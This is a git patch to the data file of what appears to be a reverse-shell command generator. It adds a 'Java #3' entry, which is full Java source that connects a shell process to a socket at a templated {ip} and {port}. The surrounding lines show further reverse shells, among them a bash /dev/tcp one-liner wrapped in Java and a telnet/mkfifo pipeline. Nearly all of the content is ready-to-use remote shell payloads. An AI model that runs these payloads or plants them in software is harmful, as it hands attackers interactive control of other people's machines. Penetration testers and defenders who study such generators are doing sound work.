From b64401b980c44374ce6de3513aaad0c5dc173fd1 Mon Sep 17 00:00:00 2001
From: Adam Bertrand <hydragyrum@gmail.com>
Date: Tue, 21 Sep 2021 13:43:56 +0200
Subject: [PATCH] Add a new java shell

---
 js/data.js | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/js/data.js b/js/data.js
index 8420a63..9e69f02 100644
--- a/js/data.js
+++ b/js/data.js
@@ -258,6 +258,11 @@ const reverseShellCommands = withCommandType(
             "command": "public class shell {\n    public static void main(String[] args) {\n        ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n            .redirectErrorStream(true);\n        try {\n            Process p = pb.start();\n            p.waitFor();\n            p.destroy();\n        } catch (Exception e) {}\n    }\n}",
             "meta": ["linux", "mac"]
         },
+        {
+            "name": "Java #3",
+            "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n    public static void main(String[] args) {\n        String host = \"{ip}\";\n        int port = {port};\n        String cmd = \"{shell}\";\n        try {\n            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n            Socket s = new Socket(host, port);\n            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n            OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n            while (!s.isClosed()) {\n                while (pi.available() > 0)\n                    so.write(pi.read());\n                while (pe.available() > 0)\n                    so.write(pe.read());\n                while (si.available() > 0)\n                    po.write(si.read());\n                so.flush();\n                po.flush();\n                Thread.sleep(50);\n                try {\n                    p.exitValue();\n                    break;\n                } catch (Exception e) {}\n            }\n            p.destroy();\n            s.close();\n        } catch (Exception e) {}\n    }\n}",
+            "meta": ["windows", "linux", "mac"]
+        },
         {
             "name": "telnet",
             "command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF",